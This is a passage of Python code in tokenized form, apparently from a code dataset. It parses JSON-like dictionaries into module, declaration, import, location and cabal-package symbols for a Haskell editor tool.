"s", "'_", "in_", "s_", "and_", "'", "module", "s", "'_", "in_", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "(_", "s_", "[_", "'", "project", "s", "'_", "]_", ",_", "[_", "parse", "\\u", "module_", "(_", "m_", ")_", "for_", "m_", "in_", "s_", "[_", "'", "module", "s", "'_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "\\u", "decl", "s_", "(_", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "s_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "[_", "parse", "\\u", "module", "\\u", "declaration_", "(_", "decl_", ")_", "for_", "decl_", "in_", "s_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "\\u", "module", "s", "\\u", "brief", "_", "(_", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "s_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "[_", "parse", "\\u", "module", "\\u", "id_", "(_", "m_", ")_", "for_", "m_", "in_", "s_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "value_", "(_", "dc_", ",_", "ks_", ",_", "def", "val_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "dc_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "def", "val_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "type_", "(_", "ks_", ")_", "==_", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cur_", "=_", "dc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "k_", "in_", "ks_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cur_", "=_", "cur_", "._", "get_", "(_", "k_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "cur_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "def", "val_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "cur_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "dc_", "._", "get_", "(_", "ks_", ",_", "def", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "\\u", "package", "\\u", "db_", "(_", "d_", ",_", "def", "val_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "type_", "(_", "d_", ")_", "==_", "dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pdb_", "=_", "get", "\\u", "value_", "(_", "d_", ",_", "'", "package", "-", "db", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "symbols_", "._", "Packa", "ge", "Db_", "(_", "package", "\\u", "db_", "=_", "pdb_", ")_", "if_", "pdb_", "else_", "def", "val_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "d_", "==_", "'", "global", "-", "db", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "symbols_", "._", "Packa", "ge", "Db_", "(_", "global", "\\u", "db_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "d_", "==_", "'", "user", "-", "db", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "symbols_", "._", "Packa", "ge", "Db_", "(_", "user", "\\u", "db_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "def", "val_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "\\u", "position_", "(_", "d_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "d_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "line_", "=_", "get", "\\u", "value_", "(_", "d_", ",_", "'", "line", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "column_", "=_", "get", "\\u", "value_", "(_", "d_", ",_", "'", "column", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "line_", "is_", "not_", "None_", "and_", "column_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "symbols_", "._", "Position_", "(_", "line_", ",_", "column_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "\\u", "location_", "(_", "d_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "loc_", "=_", "symbols_", "._", "Location_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "get", "\\u", "value_", "(_", "d_", ",_", "'", "file", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "get", "\\u", "value_", "(_", "d_", ",_", "'", "project", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "loc_", "._", "is", "\\u", "null_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "loc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "loc_", "=_", "symbols_", "._", "Install", "ed", "Location_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "symbols_", "._", "parse", "\\u", "package_", "(_", "get", "\\u", "value_", "(_", "d_", ",_", "'", "package", "'_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "parse", "\\u", "package", "\\u", "db_", "(_", "get", "\\u", "value_", "(_", "d_", ",_", "'", "db", "'_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "loc_", "._", "is", "\\u", "null_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "loc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "loc_", "=_", "symbols_", "._", "Ot", "her", "Location_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "get", "\\u", "value_", "(_", "d_", ",_", "'", "source", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "loc_", "._", "is", "\\u", "null_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "loc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "\\u", "import_", "(_", "d_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "d_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "symbols_", "._", "Import_", "(_", "d_", "[_", "'", "name", "'_", "]_", ",_", "d_", "[_", "'", "qualified", "'_", "]_", ",_", "d_", "._", "get_", "(_", "'", "as", "'_", ")_", ",_", "parse", "\\u", "position_", "(_", "d_", "._", "get_", "(_", "'", "pos", "'_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "\\u", "module", "\\u", "id_", "(_", "d_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "d_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "symbols_", "._", "Module_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "d_", "[_", "'", "name", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "]_", ",_", "[_", "]_", ",_", "{_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "parse", "\\u", "location_", "(_", "d_", "._", "get_", "(_", "'", "location", "'_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "\\u", "declaration_", "(_", "decl_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "what_", "=_", "decl_", "[_", "'", "decl", "'_", "]_", "[_", "'", "what", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "docs_", "=_", "crl", "f2", "lf_", "(_", "decl_", "._", "get_", "(_", "'", "docs", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "name_", "=_", "decl_", "[_", "'", "name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pos_", "=_", "parse", "\\u", "position_", "(_", "decl_", "._", "get_", "(_", "'", "pos", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "imported_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "import", "ed", "'_", "in_", "decl_", "and_", "decl_", "[_", "'", "import", "ed", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "imported_", "=_", "[_", "parse", "\\u", "import_", "(_", "d_", ")_", "for_", "d_", "in_", "decl_", "[_", "'", "import", "ed", "'_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "defined_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "defin", "ed", "'_", "in_", "decl_", "and_", "decl_", "[_", "'", "defin", "ed", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "defined_", "=_", "parse", "\\u", "module", "\\u", "id_", "(_", "decl_", "[_", "'", "defin", "ed", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "what_", "==_", "'", "function", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "symbols_", "._", "Function_", "(_", "name_", ",_", "decl_", "[_", "'", "decl", "'_", "]_", "._", "get_", "(_", "'", "type", "'_", ")_", ",_", "docs_", ",_", "imported_", ",_", "defined_", ",_", "pos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "what_", "==_", "'", "type", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "symbols_", "._", "Type_", "(_", "name_", ",_", "decl_", "[_", "'", "decl", "'_", "]_", "[_", "'", "info", "'_", "]_", "._", "get_", "(_", "'", "ctx", "'_", ")_", ",_", "decl_", "[_", "'", "decl", "'_", "]_", "[_", "'", "info", "'_", "]_", "._", "get_", "(_", "'", "args", "'_", ",_", "[_", "]_", ")_", ",_", "decl_", "[_", "'", "decl", "'_", "]_", "[_", "'", "info", "'_", "]_", "._", "get_", "(_", "'", "def", "'_", ")_", ",_", "docs_", ",_", "imported_", ",_", "defined_", ",_", "pos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "what_", "==_", "'", "newt", "ype", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "symbols_", "._", "New", "type_", "(_", "name_", ",_", "decl_", "[_", "'", "decl", "'_", "]_", "[_", "'", "info", "'_", "]_", "._", "get_", "(_", "'", "ctx", "'_", ")_", ",_", "decl_", "[_", "'", "decl", "'_", "]_", "[_", "'", "info", "'_", "]_", "._", "get_", "(_", "'", "args", "'_", ",_", "[_", "]_", ")_", ",_", "decl_", "[_", "'", "decl", "'_", "]_", "[_", "'", "info", "'_", "]_", "._", "get_", "(_", "'", "def", "'_", ")_", ",_", "docs_", ",_", "imported_", ",_", "defined_", ",_", "pos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "what_", "==_", "'", "data", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "symbols_", "._", "Data_", "(_", "name_", ",_", "decl_", "[_", "'", "decl", "'_", "]_", "[_", "'", "info", "'_", "]_", "._", "get_", "(_", "'", "ctx", "'_", ")_", ",_", "decl_", "[_", "'", "decl", "'_", "]_", "[_", "'", "info", "'_", "]_", "._", "get_", "(_", "'", "args", "'_", ",_", "[_", "]_", ")_", ",_", "decl_", "[_", "'", "decl", "'_", "]_", "[_", "'", "info", "'_", "]_", "._", "get_", "(_", "'", "def", "'_", ")_", ",_", "docs_", ",_", "imported_", ",_", "defined_", ",_", "pos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "what_", "==_", "'", "class", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "symbols_", "._", "Class_", "(_", "name_", ",_", "decl_", "[_", "'", "decl", "'_", "]_", "[_", "'", "info", "'_", "]_", "._", "get_", "(_", "'", "ctx", "'_", ")_", ",_", "decl_", "[_", "'", "decl", "'_", "]_", "[_", "'", "info", "'_", "]_", "._", "get_", "(_", "'", "args", "'_", ",_", "[_", "]_", ")_", ",_", "decl_", "[_", "'", "decl", "'_", "]_", "[_", "'", "info", "'_", "]_", "._", "get_", "(_", "'", "def", "'_", ")_", ",_", "docs_", ",_", "imported_", ",_", "defined_", ",_", "pos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "(_", "'", "Error", " ", "pas", "ring", " ", "declaration", ":", " ", "{", "0", "}'_", "._", "format_", "(_", "e_", ")_", ",_", "log", "\\u", "error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "\\u", "declarations_", "(_", "decl", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "decl", "s_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "[_", "parse", "\\u", "declaration_", "(_", "d_", ")_", "for_", "d_", "in_", "decl", "s_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "\\u", "module", "\\u", "declaration_", "(_", "d_", ",_", "parse", "\\u", "module", "\\u", "info_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "module", "-", "id", "'_", "in_", "d_", "and_", "parse", "\\u", "module", "\\u", "info_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", "=_", "parse", "\\u", "module", "\\u", "id_", "(_", "d_", "[_", "'", "module", "-", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "loc_", "=_", "parse", "\\u", "location_", "(_", "d_", "[_", "'", "module", "-", "id", "'_", "]_", "._", "get_", "(_", "'", "location", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "decl_", "=_", "parse", "\\u", "declaration_", "(_", "d_", "[_", "'", "declaration", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "decl_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "decl_", "._", "module_", "=_", "m_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "decl_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "\\u", "module_", "(_", "d_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "d_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "symbols_", "._", "Module_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "d_", "[_", "'", "name", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "d_", "._", "get_", "(_", "'", "export", "s", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "parse", "\\u", "import_", "(_", "i_", ")_", "for_", "i_", "in_", "d_", "[_", "'", "import", "s", "'_", "]_", "]_", "if_", "'", "import", "s", "'_", "in_", "d_", "else_", "[_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "dict_", "(_", "(_", "decl_", "[_", "'", "name", "'_", "]_", ",_", "parse", "\\u", "declaration_", "(_", "decl_", ")_", ")_", "for_", "decl_", "in_", "d_", "[_", "'", "declaration", "s", "'_", "]_", ")_", "if_", "'", "declaration", "s", "'_", "in_", "d_", "else_", "{_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "parse", "\\u", "location_", "(_", "d_", "._", "get_", "(_", "'", "location", "'_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "\\u", "modules_", "(_", "ds_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "ds_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "[_", "parse", "\\u", "module_", "(_", "d_", ")_", "for_", "d_", "in_", "ds_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "\\u", "cab", "al", "\\u", "package_", "(_", "d_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "d_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "symbols_", "._", "Cab", "al", "Package_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "d_", "[_", "'", "name", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "d_", "._", "get_", "(_", "'", "synopsis", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "d_", "._", "get_", "(_", "'", "default", "-", "version", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "d_", "._", "get_", "(_", "'", "install", "ed", "-", "version", "s", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "d_", "._", "get_", "(_", "'", "home", "page", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "d_", "._", "get_", "(_", "'", "license", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "\\u", "corrections", "_", "(_", "d_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "d_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "[_", "parse", "\\u", "correction_", "(_", "c_", ")_", "for_", "c_", "in_", "d_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "\\u", "correction_", "(_", "d_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "symbols_", "._", "Correct", "ion_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "d_", "[_", "'", "source", "'_", "]_", "[_", "'", "file", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "d_", "[_", "'", "level", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "d_", "[_", "'", "note", "'_", "]_", "[_", "'", "message", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "parse", "\\u", "correct", "or_", "(_", "d_", "[_", "'", "note", "'_", "]_", "[_", "'", "correct", "or", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "\\u", "correct", "or_", "(_", "d_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "symbols_", "._", "Correct", "or_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "parse", "\\u", "position_", "(_", "d_", "[_", "'", "region", "'_", "]_", "[_", "'", "from", "'_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "parse", "\\u", "position_", "(_", "d_", "[_", "'", "region", "'_", "]_", "[_", "'", "to", "'_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "d_", "[_", "'", "content", "s", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "encode", "\\u", "corrections", "_", "(_", "cs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "[_", "encode", "\\u", "correction_", "(_", "c_", ")_", "for_", "c_", "in_", "cs_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "encode", "\\u", "correction_", "(_", "c_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "source", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "project", "'_", ":_", "None_", ",_", 